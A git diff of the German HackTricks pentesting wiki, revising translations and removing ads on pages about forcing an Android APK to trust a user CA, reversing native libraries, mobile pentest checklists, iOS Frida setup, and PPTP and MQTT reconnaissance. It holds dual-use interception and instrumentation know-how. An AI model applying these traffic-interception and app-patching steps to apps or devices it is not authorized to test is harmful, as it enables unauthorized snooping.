[**https://blog.takemyhand.xyz/2021/02/android-task-hijacking-with.html**](https://blog.takemyhand.xyz/2021/02/android-task-hijacking-with.html) -**Try Hard Security Group** - -
- -{% embed url="https://discord.gg/tryhardsecurity" %} {% hint style="success" %} -Lernen & üben Sie AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Lernen & üben Sie GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Lerne & übe AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Lerne & übe GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks -* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)! -* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden. +* Überprüfe die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)! +* **Tritt der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Teile Hacking-Tricks, indem du PRs zu den** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichst.
{% endhint %} diff --git a/mobile-pentesting/android-app-pentesting/make-apk-accept-ca-certificate.md b/mobile-pentesting/android-app-pentesting/make-apk-accept-ca-certificate.md index 445e62b98..874bd1522 100644 --- a/mobile-pentesting/android-app-pentesting/make-apk-accept-ca-certificate.md +++ b/mobile-pentesting/android-app-pentesting/make-apk-accept-ca-certificate.md @@ -1,26 +1,18 @@ {% hint style="success" %} -Lerne & übe AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Lerne & übe GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Unterstütze HackTricks +Support HackTricks -* Überprüfe die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)! -* **Tritt der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Teile Hacking-Tricks, indem du PRs zu den** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichst. +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %} -**Try Hard Security Group** - -
- -{% embed url="https://discord.gg/tryhardsecurity" %} - -*** - Einige Anwendungen mögen keine vom Benutzer heruntergeladenen Zertifikate, daher müssen wir, um den Webverkehr für einige Apps zu inspizieren, die Anwendung tatsächlich dekompilieren, ein paar Dinge hinzufügen und sie neu kompilieren. # Automatisch @@ -29,11 +21,11 @@ Das Tool [**https://github.com/shroudedcode/apk-mitm**](https://github.com/shrou # Manuell -Zuerst dekompilieren wir die App: `apktool d *dateiname*.apk` +Zuerst dekompilieren wir die App: `apktool d *file-name*.apk` ![](../../.gitbook/assets/img9.png) -Dann gehen wir in die **Manifest.xml**-Datei und scrollen zum `<\application android>`-Tag und fügen die folgende Zeile hinzu, falls sie noch nicht vorhanden ist: +Dann gehen wir in die **Manifest.xml**-Datei und scrollen nach unten zum `<\application android>`-Tag und fügen die folgende Zeile hinzu, falls sie noch nicht vorhanden ist: `android:networkSecurityConfig="@xml/network_security_config` @@ -70,7 +62,7 @@ Lernen & üben Sie GCP Hacking: -Unterstützen Sie HackTricks +Support HackTricks * Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)! * **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** diff --git a/mobile-pentesting/android-app-pentesting/reversing-native-libraries.md b/mobile-pentesting/android-app-pentesting/reversing-native-libraries.md index d50d1611e..3a8e3bcdf 100644 --- a/mobile-pentesting/android-app-pentesting/reversing-native-libraries.md +++ b/mobile-pentesting/android-app-pentesting/reversing-native-libraries.md @@ -10,28 +10,15 @@ Lernen & üben Sie GCP Hacking: {% endhint %} -### [WhiteIntel](https://whiteintel.io) - -
- -[**WhiteIntel**](https://whiteintel.io) ist eine **dark-web**-unterstützte Suchmaschine, die **kostenlose** Funktionen bietet, um zu überprüfen, ob ein Unternehmen oder dessen Kunden durch **Stealer-Malware** **kompromittiert** wurden. - -Das Hauptziel von WhiteIntel ist es, Kontoübernahmen und Ransomware-Angriffe zu bekämpfen, die aus informationsstehlender Malware resultieren. - -Sie können ihre Website besuchen und ihre Engine **kostenlos** ausprobieren unter: - -{% embed url="https://whiteintel.io" %} - -*** **Für weitere Informationen siehe:** [**https://maddiestone.github.io/AndroidAppRE/reversing\_native\_libs.html**](https://maddiestone.github.io/AndroidAppRE/reversing\_native\_libs.html) -Android-Apps können native Bibliotheken verwenden, die typischerweise in C oder C++ geschrieben sind, für leistungsintensive Aufgaben. Malware-Ersteller verwenden ebenfalls diese Bibliotheken, da sie schwieriger umzukehren sind als DEX-Bytecode. Der Abschnitt betont Reverse-Engineering-Fähigkeiten, die auf Android zugeschnitten sind, anstatt Assemblersprachen zu lehren. ARM- und x86-Versionen von Bibliotheken werden zur Kompatibilität bereitgestellt. +Android-Apps können native Bibliotheken verwenden, die typischerweise in C oder C++ geschrieben sind, für leistungsintensive Aufgaben. Malware-Ersteller nutzen ebenfalls diese Bibliotheken, da sie schwieriger umzukehren sind als DEX-Bytecode. Der Abschnitt betont Reverse-Engineering-Fähigkeiten, die auf Android zugeschnitten sind, anstatt Assemblersprachen zu lehren. ARM- und x86-Versionen von Bibliotheken werden zur Kompatibilität bereitgestellt. ### Wichtige Punkte: @@ -43,7 +30,7 @@ Android-Apps können native Bibliotheken verwenden, die typischerweise in C oder * **Java Native Interface (JNI) & Android NDK:** * JNI ermöglicht es, Java-Methoden in nativen Code zu implementieren. * NDK ist ein Android-spezifisches Set von Tools zum Schreiben von nativem Code. -* JNI und NDK verbinden Java (oder Kotlin)-Code mit nativen Bibliotheken. +* JNI und NDK verbinden Java (oder Kotlin) Code mit nativen Bibliotheken. * **Bibliotheksladung & Ausführung:** * Bibliotheken werden mit `System.loadLibrary` oder `System.load` in den Speicher geladen. * JNI\_OnLoad wird beim Laden der Bibliothek ausgeführt. @@ -58,7 +45,7 @@ Android-Apps können native Bibliotheken verwenden, die typischerweise in C oder ### Ressourcen: -* **Lernen von ARM-Assembly:** +* **ARM-Assembly lernen:** * Empfohlen für ein tieferes Verständnis der zugrunde liegenden Architektur. * [ARM Assembly Basics](https://azeria-labs.com/writing-arm-assembly-part-1/) von Azeria Labs wird empfohlen. * **JNI & NDK-Dokumentation:** @@ -68,17 +55,6 @@ Android-Apps können native Bibliotheken verwenden, die typischerweise in C oder * **Debugging nativer Bibliotheken:** * [Debuggen von Android-nativen Bibliotheken mit JEB Decompiler](https://medium.com/@shubhamsonani/how-to-debug-android-native-libraries-using-jeb-decompiler-eec681a22cf3) -### [WhiteIntel](https://whiteintel.io) - -
- -[**WhiteIntel**](https://whiteintel.io) ist eine **dark-web**-unterstützte Suchmaschine, die **kostenlose** Funktionen bietet, um zu überprüfen, ob ein Unternehmen oder dessen Kunden durch **Stealer-Malware** **kompromittiert** wurden. - -Das Hauptziel von WhiteIntel ist es, Kontoübernahmen und Ransomware-Angriffe zu bekämpfen, die aus informationsstehlender Malware resultieren. - -Sie können ihre Website besuchen und ihre Engine **kostenlos** ausprobieren unter: - -{% embed url="https://whiteintel.io" %} {% hint style="success" %} Lernen & üben Sie AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ @@ -90,7 +66,7 @@ Lernen & üben Sie GCP Hacking: {% endhint %} diff --git a/mobile-pentesting/android-checklist.md b/mobile-pentesting/android-checklist.md index 94926e2b0..e6e463ee9 100644 --- a/mobile-pentesting/android-checklist.md +++ b/mobile-pentesting/android-checklist.md @@ -1,29 +1,21 @@ # Android APK Checklist {% hint style="success" %} -Lerne & übe AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Lerne & übe GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Lernen & üben Sie AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Lernen & üben Sie GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks -* Überprüfe die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)! -* **Tritt der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Teile Hacking-Tricks, indem du PRs zu den** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichst. +* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)! +* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden.
{% endhint %} -**Try Hard Security Group** - -
- -{% embed url="https://discord.gg/tryhardsecurity" %} - -*** - -### [Lerne die Grundlagen von Android](android-app-pentesting/#2-android-application-fundamentals) +### [Lernen Sie die Grundlagen von Android](android-app-pentesting/#2-android-application-fundamentals) * [ ] [Grundlagen](android-app-pentesting/#fundamentals-review) * [ ] [Dalvik & Smali](android-app-pentesting/#dalvik--smali) @@ -41,60 +33,53 @@ Lerne & übe GCP Hacking:
- -{% embed url="https://discord.gg/tryhardsecurity" %} - {% hint style="success" %} -Lerne & übe AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Lerne & übe GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Lernen & üben Sie AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Lernen & üben Sie GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks -* Überprüfe die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)! -* **Tritt der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Teile Hacking-Tricks, indem du PRs zu den** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichst. +* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)! +* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden.
{% endhint %} diff --git a/mobile-pentesting/ios-pentesting-checklist.md b/mobile-pentesting/ios-pentesting-checklist.md index 95da2cf55..aaf80d39c 100644 --- a/mobile-pentesting/ios-pentesting-checklist.md +++ b/mobile-pentesting/ios-pentesting-checklist.md @@ -23,14 +23,6 @@ Lernen & üben Sie GCP Hacking: {% endhint %} -**Try Hard Security Group** - -
- -{% embed url="https://discord.gg/tryhardsecurity" %} - -*** - ### Vorbereitung * [ ] Lesen Sie [**iOS Grundlagen**](ios-pentesting/ios-basics.md) @@ -63,9 +55,9 @@ Lernen & üben Sie GCP Hacking:
- -{% embed url="https://discord.gg/tryhardsecurity" %} - {% hint style="success" %} Lernen & üben Sie AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Lernen & üben Sie GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) diff --git a/mobile-pentesting/ios-pentesting/frida-configuration-in-ios.md b/mobile-pentesting/ios-pentesting/frida-configuration-in-ios.md index 0638c20e7..0bf8b4559 100644 --- a/mobile-pentesting/ios-pentesting/frida-configuration-in-ios.md +++ b/mobile-pentesting/ios-pentesting/frida-configuration-in-ios.md @@ -1,56 +1,42 @@ # iOS Frida Konfiguration {% hint style="success" %} -Lerne & übe AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Lerne & übe GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Lernen & üben Sie AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Lernen & üben Sie GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Unterstütze HackTricks +Unterstützen Sie HackTricks -* Überprüfe die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)! -* **Tritt der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Teile Hacking-Tricks, indem du PRs zu den** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichst. +* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)! +* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden.
{% endhint %} -### [WhiteIntel](https://whiteintel.io) - -
- -[**WhiteIntel**](https://whiteintel.io) ist eine **Dark-Web**-unterstützte Suchmaschine, die **kostenlose** Funktionen bietet, um zu überprüfen, ob ein Unternehmen oder dessen Kunden durch **Stealer-Malware** **kompromittiert** wurden. - -Das Hauptziel von WhiteIntel ist es, Kontoübernahmen und Ransomware-Angriffe zu bekämpfen, die durch informationsstehlende Malware verursacht werden. - -Du kannst ihre Website besuchen und ihre Engine **kostenlos** ausprobieren unter: - -{% embed url="https://whiteintel.io" %} - -*** - ## Frida installieren **Schritte zur Installation von Frida auf einem Jailbroken-Gerät:** -1. Öffne die Cydia/Sileo-App. -2. Navigiere zu Verwalten -> Quellen -> Bearbeiten -> Hinzufügen. -3. Gib "https://build.frida.re" als URL ein. -4. Gehe zur neu hinzugefügten Frida-Quelle. -5. Installiere das Frida-Paket. +1. Öffnen Sie die Cydia/Sileo-App. +2. Navigieren Sie zu Verwalten -> Quellen -> Bearbeiten -> Hinzufügen. +3. Geben Sie "https://build.frida.re" als URL ein. +4. Gehen Sie zur neu hinzugefügten Frida-Quelle. +5. Installieren Sie das Frida-Paket. -Wenn du **Corellium** verwendest, musst du die Frida-Version von [https://github.com/frida/frida/releases](https://github.com/frida/frida/releases) herunterladen (`frida-gadget-[deineversion]-ios-universal.dylib.gz`) und entpacken und an den von Frida angeforderten dylib-Speicherort kopieren, z.B.: `/Users/[deinbenutzer]/.cache/frida/gadget-ios.dylib` +Wenn Sie **Corellium** verwenden, müssen Sie die Frida-Version von [https://github.com/frida/frida/releases](https://github.com/frida/frida/releases) herunterladen (`frida-gadget-[yourversion]-ios-universal.dylib.gz`) und entpacken und an den von Frida angeforderten dylib-Standort kopieren, z.B.: `/Users/[youruser]/.cache/frida/gadget-ios.dylib` -Nach der Installation kannst du auf deinem PC den Befehl **`frida-ls-devices`** verwenden und überprüfen, ob das Gerät angezeigt wird (dein PC muss darauf zugreifen können).\ -Führe auch **`frida-ps -Uia`** aus, um die laufenden Prozesse des Telefons zu überprüfen. +Nach der Installation können Sie auf Ihrem PC den Befehl **`frida-ls-devices`** verwenden und überprüfen, ob das Gerät angezeigt wird (Ihr PC muss darauf zugreifen können).\ +Führen Sie auch **`frida-ps -Uia`** aus, um die laufenden Prozesse des Telefons zu überprüfen. ## Frida ohne Jailbroken-Gerät & ohne Patchen der App -Überprüfe diesen Blogbeitrag darüber, wie man Frida auf nicht-jailbroken Geräten ohne Patchen der App verwendet: [https://mrbypass.medium.com/unlocking-potential-exploring-frida-objection-on-non-jailbroken-devices-without-application-ed0367a84f07](https://mrbypass.medium.com/unlocking-potential-exploring-frida-objection-on-non-jailbroken-devices-without-application-ed0367a84f07) +Überprüfen Sie diesen Blogbeitrag, wie Sie Frida auf nicht-jailbroken Geräten ohne Patchen der App verwenden können: [https://mrbypass.medium.com/unlocking-potential-exploring-frida-objection-on-non-jailbroken-devices-without-application-ed0367a84f07](https://mrbypass.medium.com/unlocking-potential-exploring-frida-objection-on-non-jailbroken-devices-without-application-ed0367a84f07) ## Frida Client Installation -Installiere **frida tools**: +Installieren Sie **frida tools**: ```bash pip install frida-tools pip install frida @@ -168,7 +154,7 @@ console.log("loaded"); ### Frida Stalker -[Aus den Dokumenten](https://frida.re/docs/stalker/): Stalker ist Fridas **Code-Trace-Engine**. Es ermöglicht, Threads zu **verfolgen**, **jede Funktion**, **jeden Block** und sogar jede Anweisung, die ausgeführt wird, **aufzuzeichnen**. +[Aus den Dokumenten](https://frida.re/docs/stalker/): Stalker ist Fridas **Code-Trace-Engine**. Es ermöglicht, Threads zu **verfolgen**, **jede Funktion**, **jeden Block** und sogar jede Anweisung, die ausgeführt wird, zu **erfassen**. Sie haben ein Beispiel zur Implementierung von Frida Stalker in [https://github.com/poxyran/misc/blob/master/frida-stalker-example.py](https://github.com/poxyran/misc/blob/master/frida-stalker-example.py) @@ -206,7 +192,7 @@ Stalker.flush(); // this is important to get all events }); ``` {% hint style="danger" %} -Das ist interessant aus Debugging-Gründen, aber für Fuzzing ist es, ständig **`.follow()`** und **`.unfollow()`** zu verwenden, sehr ineffizient. +Das ist interessant aus Debugging-Gründen, aber für Fuzzing ist es sehr ineffizient, ständig **`.follow()`** und **`.unfollow()`** zu verwenden. {% endhint %} ## [Fpicker](https://github.com/ttdennis/fpicker) @@ -335,7 +321,7 @@ Um dies zu verhindern, könnten wir beispielsweise die App nach jedem Frida-Abst Sie können die **macOS-Konsole** oder die **`log`**-CLI überprüfen, um die macOS-Protokolle zu überprüfen.\ Sie können auch die Protokolle von iOS mit **`idevicesyslog`** überprüfen.\ -Einige Protokolle werden Informationen weglassen und **``** hinzufügen. Um alle Informationen anzuzeigen, müssen Sie ein Profil von [https://developer.apple.com/bug-reporting/profiles-and-logs/](https://developer.apple.com/bug-reporting/profiles-and-logs/) installieren, um diese privaten Informationen zu aktivieren. +Einige Protokolle werden Informationen auslassen und **``** hinzufügen. Um alle Informationen anzuzeigen, müssen Sie ein Profil von [https://developer.apple.com/bug-reporting/profiles-and-logs/](https://developer.apple.com/bug-reporting/profiles-and-logs/) installieren, um diese privaten Informationen zu aktivieren. Wenn Sie nicht wissen, was zu tun ist: ```sh @@ -374,29 +360,18 @@ iOS speichert nur 25 Abstürze der gleichen App, daher müssen Sie das bereinige * [https://www.briskinfosec.com/blogs/blogsdetail/Getting-Started-with-Frida](https://www.briskinfosec.com/blogs/blogsdetail/Getting-Started-with-Frida) -### [WhiteIntel](https://whiteintel.io) - -
- -[**WhiteIntel**](https://whiteintel.io) ist eine **dark-web**-gestützte Suchmaschine, die **kostenlose** Funktionen bietet, um zu überprüfen, ob ein Unternehmen oder dessen Kunden von **Stealer-Malware** **kompromittiert** wurden. - -Das Hauptziel von WhiteIntel ist es, Kontoübernahmen und Ransomware-Angriffe zu bekämpfen, die durch informationsstehlende Malware verursacht werden. - -Sie können ihre Website besuchen und ihre Engine **kostenlos** ausprobieren unter: - -{% embed url="https://whiteintel.io" %} {% hint style="success" %} -Lernen & üben Sie AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Lernen & üben Sie GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks -* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)! -* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden. +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %} diff --git a/network-services-pentesting/1723-pentesting-pptp.md b/network-services-pentesting/1723-pentesting-pptp.md index 27a584a8b..f2a6e13d7 100644 --- a/network-services-pentesting/1723-pentesting-pptp.md +++ b/network-services-pentesting/1723-pentesting-pptp.md @@ -1,39 +1,26 @@ # 1723 - Pentesting PPTP {% hint style="success" %} -Lernen & üben Sie AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Lernen & üben Sie GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks -* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)! -* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden. +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %} -### [WhiteIntel](https://whiteintel.io) - -
- -[**WhiteIntel**](https://whiteintel.io) ist eine **dark-web**-gestützte Suchmaschine, die **kostenlose** Funktionen bietet, um zu überprüfen, ob ein Unternehmen oder dessen Kunden durch **Stealer-Malware** **kompromittiert** wurden. - -Das Hauptziel von WhiteIntel ist es, Kontoübernahmen und Ransomware-Angriffe zu bekämpfen, die aus informationsstehlender Malware resultieren. - -Sie können ihre Website besuchen und ihre Engine **kostenlos** ausprobieren unter: - -{% embed url="https://whiteintel.io" %} - -*** ## Grundinformationen -**Point-to-Point Tunneling Protocol (PPTP)** ist eine Methode, die häufig für den **Fernzugriff** auf mobile Geräte verwendet wird. Es nutzt **TCP-Port 1723** für den Austausch von Schlüsseln, während **IP-Protokoll 47** (Generic Routing Encapsulation oder **GRE**) verwendet wird, um die Daten zu verschlüsseln, die zwischen den Peers übertragen werden. Diese Einrichtung ist entscheidend für die Etablierung eines sicheren Kommunikationskanals über das Internet, um sicherzustellen, dass die ausgetauschten Daten vertraulich bleiben und vor unbefugtem Zugriff geschützt sind. +**Point-to-Point Tunneling Protocol (PPTP)** ist eine Methode, die häufig für **Remote-Zugriff** auf mobile Geräte verwendet wird. Es nutzt **TCP-Port 1723** für den Austausch von Schlüsseln, während **IP-Protokoll 47** (Generic Routing Encapsulation oder **GRE**) verwendet wird, um die Daten zu verschlüsseln, die zwischen den Peers übertragen werden. Diese Konfiguration ist entscheidend für die Einrichtung eines sicheren Kommunikationskanals über das Internet, um sicherzustellen, dass die ausgetauschten Daten vertraulich bleiben und vor unbefugtem Zugriff geschützt sind. -**Standardport**: 1723 +**Standardport**:1723 ## Enumeration ```bash diff --git a/network-services-pentesting/1883-pentesting-mqtt-mosquitto.md b/network-services-pentesting/1883-pentesting-mqtt-mosquitto.md index 245cbcf2d..bd5e5fae0 100644 --- a/network-services-pentesting/1883-pentesting-mqtt-mosquitto.md +++ b/network-services-pentesting/1883-pentesting-mqtt-mosquitto.md @@ -15,23 +15,10 @@ Learn & practice GCP Hacking: {% endhint %} -### [WhiteIntel](https://whiteintel.io) - -
- -[**WhiteIntel**](https://whiteintel.io) ist eine **dark-web**-gestützte Suchmaschine, die **kostenlose** Funktionen bietet, um zu überprüfen, ob ein Unternehmen oder dessen Kunden durch **Stealer-Malware** **kompromittiert** wurden. - -Das Hauptziel von WhiteIntel ist es, Kontoübernahmen und Ransomware-Angriffe zu bekämpfen, die aus informationsstehlender Malware resultieren. - -Sie können ihre Website besuchen und ihre Engine **kostenlos** ausprobieren unter: - -{% embed url="https://whiteintel.io" %} - -*** ## Grundinformationen -**MQ Telemetry Transport (MQTT)** ist bekannt als ein **Publish/Subscribe-Nachrichtenprotokoll**, das sich durch seine extreme Einfachheit und Leichtigkeit auszeichnet. Dieses Protokoll ist speziell für Umgebungen konzipiert, in denen Geräte über begrenzte Fähigkeiten verfügen und über Netzwerke betrieben werden, die durch niedrige Bandbreite, hohe Latenz oder unzuverlässige Verbindungen gekennzeichnet sind. Die Hauptziele von MQTT sind die Minimierung der Nutzung der Netzwerkbandbreite und die Reduzierung der Anforderungen an die Ressourcen der Geräte. Darüber hinaus zielt es darauf ab, eine zuverlässige Kommunikation aufrechtzuerhalten und ein gewisses Maß an Zustellgarantie zu bieten. Diese Ziele machen MQTT besonders geeignet für das aufstrebende Feld der **Machine-to-Machine (M2M)-Kommunikation** und das **Internet der Dinge (IoT)**, wo es entscheidend ist, eine Vielzahl von Geräten effizient zu verbinden. Darüber hinaus ist MQTT für mobile Anwendungen äußerst vorteilhaft, wo es wichtig ist, Bandbreite und Akkulaufzeit zu sparen. +**MQ Telemetry Transport (MQTT)** ist bekannt als ein **Publish/Subscribe-Nachrichtenprotokoll**, das sich durch seine extreme Einfachheit und Leichtigkeit auszeichnet. Dieses Protokoll ist speziell für Umgebungen konzipiert, in denen Geräte über begrenzte Fähigkeiten verfügen und über Netzwerke betrieben werden, die durch niedrige Bandbreite, hohe Latenz oder unzuverlässige Verbindungen gekennzeichnet 